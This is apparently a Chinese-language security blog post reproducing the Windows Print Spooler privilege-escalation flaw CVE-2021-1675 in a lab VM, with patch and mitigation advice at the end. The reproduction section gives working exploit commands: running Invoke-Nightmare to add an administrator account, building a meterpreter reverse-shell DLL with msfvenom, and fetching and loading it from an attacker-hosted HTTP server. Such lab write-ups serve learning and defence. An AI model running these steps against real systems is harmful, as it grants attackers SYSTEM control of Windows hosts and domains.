网络安全自修室

V1

2022/10/20阅读:16主题:萌绿

Windows Print Spooler权限提升漏洞复现(CVE-2021-1675)

0x00 简介

微软发布的安全更新补丁中包括了一个Windows Print Spooler权限提升漏洞,漏洞CVE编号:CVE-2021-1675。

未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。

建议受影响用户及时更新漏洞补丁进行防护,做好资产自查以及预防工作,以免遭受黑客攻击。

0x01 漏洞概述

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

0x02 影响版本

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

0x03 环境搭建

1.安装虚拟机应用程序(本次测试使用的是VMware Workstation Pro16.1版本)

2.安装受漏洞影响的版本的Windows系统,本次测试使用的操作系统环境如下:

版本	Windows 10 专业版
版本号 20H2
安装日期 ‎2021/‎5/‎13
操作系统内部版本 19042.804

3.安装 Microsoft Visual Studio(本次复现使用的是 Microsoft Visual Studio Community 2019 版本)

以上软件获取和安装可自行上网搜索相关教程

4.开启 Print Spooler

对 “我的电脑” 右键,点击 “管理”:

双击 “服务和应用程序” :

双击 “服务” :

找到 “Print Spooler” 并右键启动:

0x04 漏洞复现

1.下载 exp:

https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1

2.讲下载的 exp 复制到目标机器上并使用以下指令在 powershell 中导入运行:

Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintTest" -NewUser "FakeZeeker" -NewPassword "123"

运行后如下图所示:

此时我们可以看到通过 exp ,我们已经成功创建了一个新的用户 “FakeZeeker” ,密码为 “123”,且该用户在管理员组中,具有管理员权限。

接下来再反弹个 shell 作为扩展,

3.使用 msfvenom 生成反弹shell的 dll(其中 LHOST 替换为攻击机IP):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=4444 -f dll -o rever.dll

4.在当前目录下开启http服务以供目标机器下载 rever.dll 和 :

python3 -m http.server 80

5.启动 msf 进行监听:

6.以普通用户身份启动powershell,执行以下指令。

runas /noprofile /user:FakeZeeker powershell

输入新创建的 FakeZeeker 用户的密码后即可以新用户身份打开powershell。

然后在新 powershell 中执行以下指令。

wget 192.168.50.130/rever.dll -OutFile C:\Users\Public\rever.dll
wget 192.168.50.130/CVE-2021-1675.ps1 -OutFile C:\Users\Public\CVE-2021-1675.ps1
Import-Module C:\Users\Public\CVE-2021-1675.ps1 Invoke-Nightmare -DLL C:\Users\Public\rever.dll

前两条指令通过攻击机开启的http服务下载需要的 模块 和 dll,后两条指令同样导入exp模块并使用指定 dll 进行利用。

注意这里 FakeZeeker 用户对其他目录有访问限制,使用 C:\Users\Public\ 进行操作会方便一点

还有一点就是使用目标文件时(如 rever.dll)一定要敲绝对路径。

执行后可以看到有报错,但是不用管,不影响利用。

7.另一边可以看到攻击机的 msf 已经成功连接上了,获取到系统权限的shell。

0x05 修复建议

1)下载安装微软官方提供的补丁:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

2)在前文 “环境搭建” 部分中的启用 Print Spooler 步骤调整为禁用 Print Spooler ,能临时进行缓解。

分类:

后端

标签:

计算机网络

作者介绍

网络安全自修室
V1

获取更多网络安全学习资源,关注我公粽号